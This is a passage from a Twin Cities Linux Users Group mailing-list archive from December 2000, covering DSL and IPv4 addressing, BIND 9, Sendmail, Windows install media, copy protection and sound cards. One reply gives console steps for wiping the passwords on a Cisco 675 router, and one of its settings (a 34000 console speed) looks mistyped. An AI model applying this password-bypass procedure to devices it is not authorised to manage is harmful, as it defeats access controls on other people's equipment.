21st Century" + Powered by Slackware Linux 7.1.0 From destef at destef.com Thu Dec 21 12:11:32 2000 From: destef at destef.com (Jason DeStefano) Date: Mon Jan 17 13:14:06 2005 Subject: [TCLUG] Alternatives to Qwaste DSL In-Reply-To: Message-ID: Thank you very much for the viewpoint. You summed up what I was biting my tounge to write. I dont view myself as your average home user. And there is no shortage of IP4 space that needs to concern people, if there was you'd see major ISP pushing are for IP6--which they are not doing. To each his own i suppose... On Wed, 20 Dec 2000 andy@theasis.com wrote: > > * Jason DeStefano [001220 14:57]: > > > Worst case I can downgrade to cable or something and write > > > my own proxy program to simulate a real network, but I > > > want to explore all my *real* options first. > > > > You should seriously look into IPSEC tunnels. I'm sick and tired of > > seeing useless wastes of IPv4 space. People dont need an ip for every > > damned client, until IPv6 is in place. > > And who decides what is "useless"? > Someone else's decision rule for what's important is likely to be > different than yours. > > Address space is generally allocated in an inefficient manner. > Sure, there are ways to reduce one's requirements for routable addresses. > Why not let economics decide? If I'm willing to pay for a routable block, > then the provider I buy it from sets the price according to simple supply > & demand rules. > > If Jason or anyone else is aware of those other options, and doesn't find > them adequate, or simply doesn't have time to mess with them, then what's > so evil about his paying for the block? If it's not available, then it'll > be prohibitively expensive. > > Andy > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From veldy at veldy.net Thu Dec 21 12:20:46 2000 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:14:06 2005 Subject: [TCLUG] OS Software? References: <200012210723.eBL7NTn11994@sprite.real-time.com> <00122111550000.03972@Billbob_Linux> Message-ID: <019a01c06b7a$bd594420$9c29680a@tgt.com> Is this appropriate behaviour for this list? Bill, if you use your company's email - perhaps you should represent them as well as they might expect you too. Tom Veldhouse veldy@veldy.net > Hello, > > On Wednesday 20 December 2000 13:49, you wrote: > > Are you interested in Office 2000? I am selling perfectly working > > copies > > of Microsoft Office 2000 SR-1 Premium Edition for a flat price of > > $50 USD. > > Pardon me, but in the words of Mr. Garrison, "Are you a complete retard?" > > -- > ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++ > | .:Bill Layer:. | Viking Electronics,Inc. 1531 Industrial St | > | .:Sales Technician:. | Hudson, WI 54016 USA + 715.386.8861 x210 | > | b.layer@vikingelectronics.com | http://www.vikingelectronics.com | > ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++ > "Telecom Solutions for the 21st Century" + Powered by Slackware Linux 7.1.0 From dieman at ringworld.org Thu Dec 21 12:45:27 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:14:06 2005 Subject: [TCLUG] Alternatives to Qwaste DSL In-Reply-To: ; from destef@destef.com on Thu, Dec 21, 2000 at 10:11:32AM -0800 References: Message-ID: <20001221124527.E31756@ringworld.org> * Jason DeStefano [001221 12:13]: > And there is no shortage of IP4 space that needs to concern > people, if there was you'd see major ISP pushing are for Adam: do you want to post your recent experience in trying to get a netblock from one of your ISP's? -- Scott Dier #linuxos@irc.openprojects.net http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001221/bda919cd/attachment.pgp From cschumann at twp-llc.com Thu Dec 21 14:40:53 2000 From: cschumann at twp-llc.com (Chris Schumann) Date: Mon Jan 17 13:14:06 2005 Subject: [TCLUG] OS Software? References: <200012211511.eBLFB7n19731@sprite.real-time.com> Message-ID: <002a01c06b8e$99457d10$1000a8c0@cschumann> I sent an e-mail about this spam to mail.com, Microsoft and the New York State Police. Not that I'm a big fan of Microsoft, but a spammer who flaunts his cracked warez like this is just plain stupid. From woor3 at corp.earthlink.net Thu Dec 21 15:39:35 2000 From: woor3 at corp.earthlink.net (Woo, Richard) Date: Mon Jan 17 13:14:06 2005 Subject: [TCLUG] Cisco 675 Routiers Message-ID: <44DF6596DD22D411962F00508B6F3B64011A2609@sac-folsom.mis.earthlink.net> I'm a engineer at Earthlink trying to convert the recent marrage between Earthlink and Flashcom. Flashcom sent their customers Cisco 675 Routier which function in a bridge mode. However, they have also placed a password on the routiers themselves which prohibt access into the routiers cbos. Do either one of you guys know anything about the password. Thanks From andy at theasis.com Thu Dec 21 09:55:41 2000 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:14:06 2005 Subject: [TCLUG] Alternatives to Qwaste DSL In-Reply-To: <20001221124527.E31756@ringworld.org> Message-ID: > * Jason DeStefano [001221 12:13]: > > And there is no shortage of IP4 space that needs to concern > > people, if there was you'd see major ISP pushing are for > > Adam: do you want to post your recent experience in trying to get a > netblock from one of your ISP's? IP space is blocked out in a rather erratic, and certainly inefficient fashion. Some folks, including some ISPs, are having a hard time squeezing into the space they have. Others have plenty to spare. If your ISP happens to be the former, then any difficulty you might have getting a block may motivate you to mess with one of the NAT or tunneling solutions. Or it may drive you to switch to an ISP who can route you a block with no problem. Or you may simply try to make due with one IP, or even one from a pool handed out over DHCP. In any case, you have to make a decision about which will be sufficient for your requirements, and within your time and/or money constraints. There are no universal rules that apply to everyone who has to make such a decision. I guess you're within your rights to get mad and even rant if someone makes a different decision than you would, but I think that's kind of silly. Andy From dieman at ringworld.org Thu Dec 21 16:24:18 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:14:06 2005 Subject: [TCLUG] Cisco 675 Routiers In-Reply-To: <44DF6596DD22D411962F00508B6F3B64011A2609@sac-folsom.mis.earthlink.net>; from woor3@corp.earthlink.net on Thu, Dec 21, 2000 at 01:39:35PM -0800 References: <44DF6596DD22D411962F00508B6F3B64011A2609@sac-folsom.mis.earthlink.net> Message-ID: <20001221162418.A12580@ringworld.org> Hi! You've just proven that Earthlink is the Best ISP in the world once again! It's so nice to see that you have assilimiated an ISP like Flashcom and didn't even figure out to keep a guru on long enough to figure out how to assilimate their customers into your system either. Christ! * Woo, Richard [001221 15:58]: > I'm a engineer at Earthlink trying to convert the recent marrage between > Earthlink and Flashcom. Flashcom sent their customers Cisco 675 Routier > which function in a bridge mode. However, they have also placed a password > on the routiers themselves which prohibt access into the routiers cbos. Do > either one of you guys know anything about the password. > > Thanks > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- Scott Dier #linuxos@irc.openprojects.net http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? 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Flashcom sent their customers Cisco 675 Routier > which function in a bridge mode. However, they have also placed a password > on the routiers themselves which prohibt access into the routiers cbos. Do > either one of you guys know anything about the password. > > Thanks > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "Of all the systems of religion that ever were invented, there is no more derogatory to the Almighty, more unedifiying to man, more repugnant to reason, and more contradictory to itself than this thing called Christianity." - Thomas Paine ------------------------------------------------------------------------------- From b.layer at vikingelectronics.com Thu Dec 21 16:11:04 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:14:06 2005 Subject: [TCLUG] Re: Cisco 675 Routers In-Reply-To: References: <20001220211852030.AAA152@sumo> Message-ID: <4.3.2.7.2.20001221160625.00a923a0@192.168.210.18> There are two methods for this. Try method one first: http://www.ieng.com/warp/public/474/pswdrec_6xx.html If it's a no-go, then the following always works ;) To recover the password you do the following steps: 1. Reboot the Cisco 675 2. Access the device through the serial Console (Speed: 34000, 8, N,1) 3. Issue the break command, -C 4. The Cisco 675 should be display a prompt => 5. Issue the command: ES 6 (Erase Page? 6) 6. Issue the command: M0 (Turn of monitor mode.) 7. Issue the command: go 8. The modem should reboot, with exec and ena passwords removed. *NOTE: You will also loose your entire config. Bill From tanner at real-time.com Thu Dec 21 20:04:32 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:06 2005 Subject: [TCLUG] BIND-9.x Message-ID: <20001221200432.C18890@real-time.com> Anyone running BIND-9.x? The upgrade is scheduled for 2001 and I would like to hear about any cool things and well as any bad things. :-) -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From blutgens at sistina.com Thu Dec 21 20:47:17 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:14:07 2005 Subject: [TCLUG] Sendmail gets UM'd In-Reply-To: <200012210457.WAA90786@snookles.snookles.com>; from fritchie@mr.net on Wed, Dec 20, 2000 at 10:57:40PM -0600 References: <20001220203010.B3590@sherohman.org> <200012210457.WAA90786@snookles.snookles.com> Message-ID: <20001221204717.A1261@athena.sistina.com> On Wed, Dec 20, 2000 at 10:57:40PM -0600, Scott Lystig Fritchie wrote: >>>>>> "ds" == Dave Sherohman writes: > >ds> Pretty decent article, until the very end: "Commercial Sendmail >ds> products build on top of the sendmail transfer protocol." I >ds> always thought SMTP stood for something else... As soon as I saw this post I considered answering but knew you were on the list Scott. > >Simple Mail Transfer Protocol, as defined in RFC 821. >http://www.isi.edu/in-notes/rfc821.txt. :-) > >-Scott >--- >Scott Lystig Fritchie, Sendmail, Inc. -- Ben Lutgens cell: 612.670.4789 Sistina Software Inc. work: 612.379.5941 Code Monkey Support (A.K.A. System Administrator) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001221/805f4b07/attachment.pgp From isla0005 at tc.umn.edu Thu Dec 21 23:12:27 2000 From: isla0005 at tc.umn.edu (Apu) Date: Mon Jan 17 13:14:07 2005 Subject: [TCLUG] FIPS help References: <20001221200432.C18890@real-time.com> Message-ID: <3A42E2BB.73D6C29F@tc.umn.edu> I am having probpem getting Fips running on my laptop. After several defrag, I still get the "last cylinder full" error after I boot from Dos. There is a thingy on my laptop called "suspend to disk" which saves the operating environment when I shut down or power down. I am suspecting this is what rewriting the defragged disk. Does anyone know of any other free disk partitioning tool without losing the current fat? Apu From esper at sherohman.org Thu Dec 21 22:59:29 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:14:07 2005 Subject: [TCLUG] Sendmail gets UM'd In-Reply-To: <20001221204717.A1261@athena.sistina.com>; from blutgens@sistina.com on Thu, Dec 21, 2000 at 08:47:17PM -0600 References: <20001220203010.B3590@sherohman.org> <200012210457.WAA90786@snookles.snookles.com> <20001221204717.A1261@athena.sistina.com> Message-ID: <20001221225929.B17852@sherohman.org> On Thu, Dec 21, 2000 at 08:47:17PM -0600, Ben Lutgens wrote: > On Wed, Dec 20, 2000 at 10:57:40PM -0600, Scott Lystig Fritchie wrote: > >>>>>> "ds" == Dave Sherohman writes: > > > >ds> Pretty decent article, until the very end: "Commercial Sendmail > >ds> products build on top of the sendmail transfer protocol." I > >ds> always thought SMTP stood for something else... > > As soon as I saw this post I considered answering but knew you were on the > list Scott. > > > > > >Simple Mail Transfer Protocol, as defined in RFC 821. > >http://www.isi.edu/in-notes/rfc821.txt. :-) *sigh* I figured one person taking my "I always thought it stood for something else" as a genuine indication of confusion was a simple case of misunderstanding my comment because nonverbal cues are absent in email. But more than one? *sigh* again. (Hint: 'Pretty decent _until the end_'. As in 'this is the one glaring error in the article'.) Don't tell me I'll have to start making a habit of using smileys around here... :p -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From mauvehead at nerp.net Thu Dec 21 23:39:37 2000 From: mauvehead at nerp.net (Nate Sanders) Date: Mon Jan 17 13:14:07 2005 Subject: [TCLUG] BIND-9.x References: <20001221200432.C18890@real-time.com> Message-ID: <3A42E919.128347BA@nerp.net> I'm running BIND-9.0.1 on a Sparc5 in Solaris 8. I havn't done any extreme testing with it, but it does have some new features that would be usefull, had I a need for them :-] Bob Tanner wrote: > > Anyone running BIND-9.x? > > The upgrade is scheduled for 2001 and I would like to hear about any cool things > and well as any bad things. :-) > > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- Nate Sanders darkskull@IRC (newnet) mauvehead@nerp.net http://www.damnation.net ______________________________________________________________________ who | grep -i blonde | date; cd ~; unzip; touch; strip; finger; mount; gasp; yes; uptime; umount; sleep - Unix Is Sexy. From mauvehead at nerp.net Thu Dec 21 23:39:37 2000 From: mauvehead at nerp.net (Nate Sanders) Date: Mon Jan 17 13:14:07 2005 Subject: [TCLUG] BIND-9.x References: <20001221200432.C18890@real-time.com> Message-ID: <3A42E919.128347BA@nerp.net> I'm running BIND-9.0.1 on a Sparc5 in Solaris 8. I havn't done any extreme testing with it, but it does have some new features that would be usefull, had I a need for them :-] Bob Tanner wrote: > > Anyone running BIND-9.x? > > The upgrade is scheduled for 2001 and I would like to hear about any cool things > and well as any bad things. :-) > > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- Nate Sanders darkskull@IRC (newnet) mauvehead@nerp.net http://www.damnation.net ______________________________________________________________________ who | grep -i blonde | date; cd ~; unzip; touch; strip; finger; mount; gasp; yes; uptime; umount; sleep - Unix Is Sexy. From lerwick at tcfreenet.org Fri Dec 22 03:04:02 2000 From: lerwick at tcfreenet.org (Callum Lerwick) Date: Mon Jan 17 13:14:07 2005 Subject: [TCLUG] OS Software? References: <200012210723.eBL7NTn11994@sprite.real-time.com> <00122111550000.03972@Billbob_Linux> <019a01c06b7a$bd594420$9c29680a@tgt.com> Message-ID: <3A431902.F7CA595F@tcfreenet.org> "Thomas T. Veldhouse" wrote: > > Is this appropriate behaviour for this list? Bill, if you use your > company's email - perhaps you should represent them as well as they might > expect you too. It looks like spam. It reeks like spam. Why do you all even bother replying? YOU TOTAL RETARDS! Umm. j/k. 'n stuff. Okay I'll go to bed now... From veldy at veldy.net Fri Dec 22 08:38:27 2000 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:14:07 2005 Subject: [TCLUG] BIND-9.x References: <20001221200432.C18890@real-time.com> Message-ID: <004101c06c24$d8d16d40$9c29680a@tgt.com> I just installed it on a test server at home - and it seems to work with my old configuration files OK. It is more strict on syntax such as TTL lines. It is also much easier to install than bind 8.x I am not really an expert on bind, however, it seems to work well for me. I have not tried any of the new options like views and such. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Bob Tanner" To: Sent: Thursday, December 21, 2000 8:04 PM Subject: [TCLUG] BIND-9.x > Anyone running BIND-9.x? > > The upgrade is scheduled for 2001 and I would like to hear about any cool things > and well as any bad things. :-) > > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > From chrome at real-time.com Fri Dec 22 09:54:14 2000 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:14:07 2005 Subject: [TCLUG] Sendmail gets UM'd In-Reply-To: <20001221225929.B17852@sherohman.org>; from esper@sherohman.org on Thu, Dec 21, 2000 at 10:59:29PM -0600 References: <20001220203010.B3590@sherohman.org> <200012210457.WAA90786@snookles.snookles.com> <20001221204717.A1261@athena.sistina.com> <20001221225929.B17852@sherohman.org> Message-ID: <20001222095414.I13555@real-time.com> > *sigh* I figured one person taking my "I always thought it stood for > something else" as a genuine indication of confusion was a simple case of > misunderstanding my comment because nonverbal cues are absent in email. > But more than one? *sigh* again. I think they understood your sarcasm; but just went along with it. :) at least that's how I read it. I'm certainly guilty of the same behaviour at times. :) Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From chrome at real-time.com Fri Dec 22 10:51:31 2000 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:14:07 2005 Subject: [TCLUG] how anti-piracy measures make piracy more likely. Message-ID: <20001222105131.A18002@real-time.com> here's the story of an end-user who really *would* like to have fully-legal-and-licenced MS software; but finds he can't actually *do* anything with it unless he resorts to some potentially-gray practices. http://www.theregister.co.uk/content/4/15621.html Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From tanner at real-time.com Fri Dec 22 11:47:23 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:07 2005 Subject: [TCLUG] Sourceforge? Message-ID: <20001222114723.F18890@real-time.com> Anyone else not able to get sourceforge to display a page? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From tanner at real-time.com Fri Dec 22 11:52:27 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:07 2005 Subject: [TCLUG] BIND-9.x In-Reply-To: <004101c06c24$d8d16d40$9c29680a@tgt.com>; from veldy@veldy.net on Fri, Dec 22, 2000 at 08:38:27AM -0600 References: <20001221200432.C18890@real-time.com> <004101c06c24$d8d16d40$9c29680a@tgt.com> Message-ID: <20001222115227.G18890@real-time.com> Quoting Thomas T. Veldhouse (veldy@veldy.net): > I just installed it on a test server at home - and it seems to work with my > old configuration files OK. It is more strict on syntax such as TTL lines. > It is also much easier to install than bind 8.x I am not really an expert > on bind, however, it seems to work well for me. I have not tried any of the > new options like views and such. Anyone running it with secure zone transfers? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From ehillman at cccu.com Fri Dec 22 13:16:37 2000 From: ehillman at cccu.com (Eric Hillman) Date: Mon Jan 17 13:14:07 2005 Subject: [TCLUG] how anti-piracy measures make piracy more likely. In-Reply-To: <20001222105131.A18002@real-time.com> Message-ID: <001101c06c4b$b469e640$650aa8c0@cccu.com> > here's the story of an end-user who really *would* like to have > fully-legal-and-licenced MS software; but finds he can't actually *do* > anything with it unless he resorts to some potentially-gray practices. > > http://www.theregister.co.uk/content/4/15621.html > > Carl Soderstrom If you think that's ugly, try this one: "Hastening a rapid demise for the free copying of digital media, the next generation of hard disks is likely to come with copyright protection countermeasures built in. Technical committees of NCTIS, the ANSI-blessed standards body, have been discussing the incorporation of content protection currently used for removable media into industry-standard ATA drives, using proprietary technology originating from the 4C Entity. They're the people who brought you CSS2: IBM, Toshiba Intel and Matsushita." http://www.theregister.co.uk/content/2/15620.html Alan Cox responds (not much meat here, unfortunately): http://www.theregister.co.uk/content/2/15655.html -- Eric Hillman UNIX Sysadmin/Webmaster City & County Credit Union ehillman@cccu.com From mike at fruitioninc.com Fri Dec 22 13:36:19 2000 From: mike at fruitioninc.com (Michael Bresnahan) Date: Mon Jan 17 13:14:07 2005 Subject: [TCLUG] how anti-piracy measures make piracy more likely. References: <20001222105131.A18002@real-time.com> Message-ID: <3A43AD33.F80DEB9B@fruitioninc.com> I'm confused, as far as I know, all of my Windows install CDs are bootable. How else would you install on a machine with no OS? Mike Bresnahan ---- Carl Wilhelm Soderstrom wrote: > here's the story of an end-user who really *would* like to have > fully-legal-and-licenced MS software; but finds he can't actually *do* > anything with it unless he resorts to some potentially-gray practices. > > http://www.theregister.co.uk/content/4/15621.html > > Carl Soderstrom > -- > Network Engineer > Real-Time Enterprises > (952) 943-8700 > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From drew at usfamily.net Fri Dec 22 17:33:44 2000 From: drew at usfamily.net (Andrew Nemchenko) Date: Mon Jan 17 13:14:07 2005 Subject: [TCLUG] how anti-piracy measures make piracy more likely. References: <20001222105131.A18002@real-time.com> <3A43AD33.F80DEB9B@fruitioninc.com> Message-ID: <001e01c06c6f$a05887a0$4d9a0ace@ancor.com> Well if you ever opened a retail version box of 98 you would see that there is a boot floppy in there. It boots the system, and activates CDrom support. Then you change to the cd drive and type setup. ----- Original Message ----- From: Michael Bresnahan To: Sent: Friday, December 22, 2000 11:36 AM Subject: Re: [TCLUG] how anti-piracy measures make piracy more likely. > I'm confused, as far as I know, all of my Windows install CDs are > bootable. How else would you install on a machine with no OS? > > Mike Bresnahan > ---- > Carl Wilhelm Soderstrom wrote: > > > here's the story of an end-user who really *would* like to have > > fully-legal-and-licenced MS software; but finds he can't actually *do* > > anything with it unless he resorts to some potentially-gray practices. > > > > http://www.theregister.co.uk/content/4/15621.html > > > > Carl Soderstrom > > -- > > Network Engineer > > Real-Time Enterprises > > (952) 943-8700 > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list ------ http://USFamily.Net/info - Unlimited Internet - From $7.99/mo! ------ From thouck at thouck.com Fri Dec 22 15:42:15 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:14:07 2005 Subject: [TCLUG] Sourceforge? In-Reply-To: <20001222114723.F18890@real-time.com> Message-ID: Bob, Just tried it. Works for me. On Fri, 22 Dec 2000, Bob Tanner wrote: > Anyone else not able to get sourceforge to display a page? > > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From thouck at thouck.com Fri Dec 22 15:42:15 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:14:07 2005 Subject: [TCLUG] Sourceforge? In-Reply-To: <20001222114723.F18890@real-time.com> Message-ID: Bob, Just tried it. Works for me. On Fri, 22 Dec 2000, Bob Tanner wrote: > Anyone else not able to get sourceforge to display a page? > > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From tanner at real-time.com Fri Dec 22 15:56:54 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:07 2005 Subject: [TCLUG] Mozilla daily build and PSM Message-ID: <20001222155654.B31438@real-time.com> Anyone notice how the mozilla daily builds with psm installed continuosly forks() psm instances off for each SSL page? Initial hit of login to sourceforge: ps -ef | grep psm |wc 19 153 1029 Next ssl hit on source forge: ps -ef | grep psm | wc 56 449 3027 Next ssl hit: ps -ef | grep psm | wc 80 641 4323 -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From chrome at real-time.com Fri Dec 22 16:23:05 2000 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:14:08 2005 Subject: [TCLUG] how anti-piracy measures make piracy more likely. In-Reply-To: <3A43AD33.F80DEB9B@fruitioninc.com>; from mike@fruitioninc.com on Fri, Dec 22, 2000 at 01:36:19PM -0600 References: <20001222105131.A18002@real-time.com> <3A43AD33.F80DEB9B@fruitioninc.com> Message-ID: <20001222162305.B27815@real-time.com> > I'm confused, as far as I know, all of my Windows install CDs are > bootable. How else would you install on a machine with no OS? win98 SE was the first version that I ever saw with a bootable CD. personally, I have no idea how they intend for you to get win95 on a machine, since I've never actually seen a win95 boot floppy (except for the all-floppy version of win95a, which is long dead). such things are mentioned, but never seen, and I never saw a README file or the like, on the CD itself. even winNT isn't bootable; but at least I have seen boot floppies with that CD. I always just kept a custom DOS utilities floppy around, for doing installs, rescues, reformats, etc. Carl Soderstrom. -- Network Engineer Real-Time Enterprises (952) 943-8700 From chrome at real-time.com Fri Dec 22 17:03:43 2000 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:14:08 2005 Subject: [TCLUG] how anti-piracy measures make piracy more likely. In-Reply-To: <001101c06c4b$b469e640$650aa8c0@cccu.com>; from ehillman@cccu.com on Fri, Dec 22, 2000 at 01:16:37PM -0600 References: <20001222105131.A18002@real-time.com> <001101c06c4b$b469e640$650aa8c0@cccu.com> Message-ID: <20001222170343.E27815@real-time.com> > If you think that's ugly, try this one: > > "Hastening a rapid demise for the free copying of digital media, the next > generation of hard disks is likely to come with copyright protection > countermeasures built in. > > Technical committees of NCTIS, the ANSI-blessed standards body, have been > discussing the incorporation of content protection currently used for removable > media into industry-standard ATA drives, using proprietary technology > originating from the 4C Entity. They're the people who brought you CSS2: IBM, > Toshiba Intel and Matsushita." > > http://www.theregister.co.uk/content/2/15620.html > > Alan Cox responds (not much meat here, unfortunately): > http://www.theregister.co.uk/content/2/15655.html yeah, let's just hope that a) it causes enough of a hassle that people start thinking for themselves and avoiding those drives. b) some companies make drives without the copy-protection crap built-in, to sell to those users who don't want it. c) people wake up enough to realize that this misfeature doesn't actually protect against an even vaguely-determined pirate for long d) more than one of the above. Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From mbresnah at visi.com Fri Dec 22 20:06:02 2000 From: mbresnah at visi.com (Mike Bresnahan) Date: Mon Jan 17 13:14:08 2005 Subject: [TCLUG] how anti-piracy measures make piracy more likely. References: <20001222105131.A18002@real-time.com> <3A43AD33.F80DEB9B@fruitioninc.com> <20001222162305.B27815@real-time.com> Message-ID: <004301c06c84$e6a50070$0300000a@ANELGINANALAS> That's odd, because I have Windows NT 4.0, Windows 98, Windows 98 SE, and Windows 2000 Professional CDs that all boot. I just checked each one of them. However, except for the Windows 2000, they are all copies of the originals and I don't have the originals anymore. The only non-bootable CD I have is an original Windows 95 that appears to have been shipped with a PC. I must reside on that plane of existance where all Windows CDs boot. Mike Bresnahan ----- Original Message ----- From: "Carl Wilhelm Soderstrom" To: Sent: Friday, December 22, 2000 2:23 PM Subject: Re: [TCLUG] how anti-piracy measures make piracy more likely. > > I'm confused, as far as I know, all of my Windows install CDs are > > bootable. How else would you install on a machine with no OS? > > win98 SE was the first version that I ever saw with a bootable CD. > personally, I have no idea how they intend for you to get win95 on a > machine, since I've never actually seen a win95 boot floppy (except for the > all-floppy version of win95a, which is long dead). such things are > mentioned, but never seen, and I never saw a README file or the like, on the > CD itself. > even winNT isn't bootable; but at least I have seen boot floppies with that > CD. > > I always just kept a custom DOS utilities floppy around, for doing installs, > rescues, reformats, etc. > > Carl Soderstrom. > -- > Network Engineer > Real-Time Enterprises > (952) 943-8700 > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From chrome at real-time.com Fri Dec 22 17:29:52 2000 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:14:08 2005 Subject: [TCLUG] how anti-piracy measures make piracy more likely. In-Reply-To: <001e01c06c6f$a05887a0$4d9a0ace@ancor.com>; from drew@usfamily.net on Fri, Dec 22, 2000 at 03:33:44PM -0800 References: <20001222105131.A18002@real-time.com> <3A43AD33.F80DEB9B@fruitioninc.com> <001e01c06c6f$a05887a0$4d9a0ace@ancor.com> Message-ID: <20001222172952.G27815@real-time.com> > Well if you ever opened a retail version box of 98 you would see that there > is a boot floppy in there. It boots the system, and activates CDrom support. > Then you change to the cd drive and type setup. that must be only on the full-install version. the upgrade version doesn't have the floppy. Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From mbresnah at visi.com Fri Dec 22 20:27:09 2000 From: mbresnah at visi.com (Mike Bresnahan) Date: Mon Jan 17 13:14:08 2005 Subject: [TCLUG] PC Sound Systems Message-ID: <005901c06c87$d9f4ae90$0300000a@ANELGINANALAS> I just bought a new Dell and it came with a Turtle Beach Sante Cruz sound card, a Altec Lansing ADA885 5 peice speaker system, and an unsatisfactory amount of documentation. I'm not sure how the sound system works or how to configure it to get the most out of it. Both the card and the speakers can be configured to run in several modes. The card has the modes 2 Speaker, 4 Speaker, 6 Speaker, Digital 4.1 and some others. The speakers have the modes Stereo, StereoX2, ProLogic, Quad, and Dolby Digital. What first confuses me about this is the fact that both the card AND and speakers have modes. What's up with that? Isn't it redundant? The second thing that confuses me are the digital modes. It appears that the speakers have their own digital-to-analog converter, because they can apparently decode a digital signal and play it. Isn't that redundant with the digital-to-analog converter on the sound card? If I choose Digital 4.1 on my sound card, am I basically bypassing the card and piping the signal directly to the speakers for decoding? Mike Bresnahan 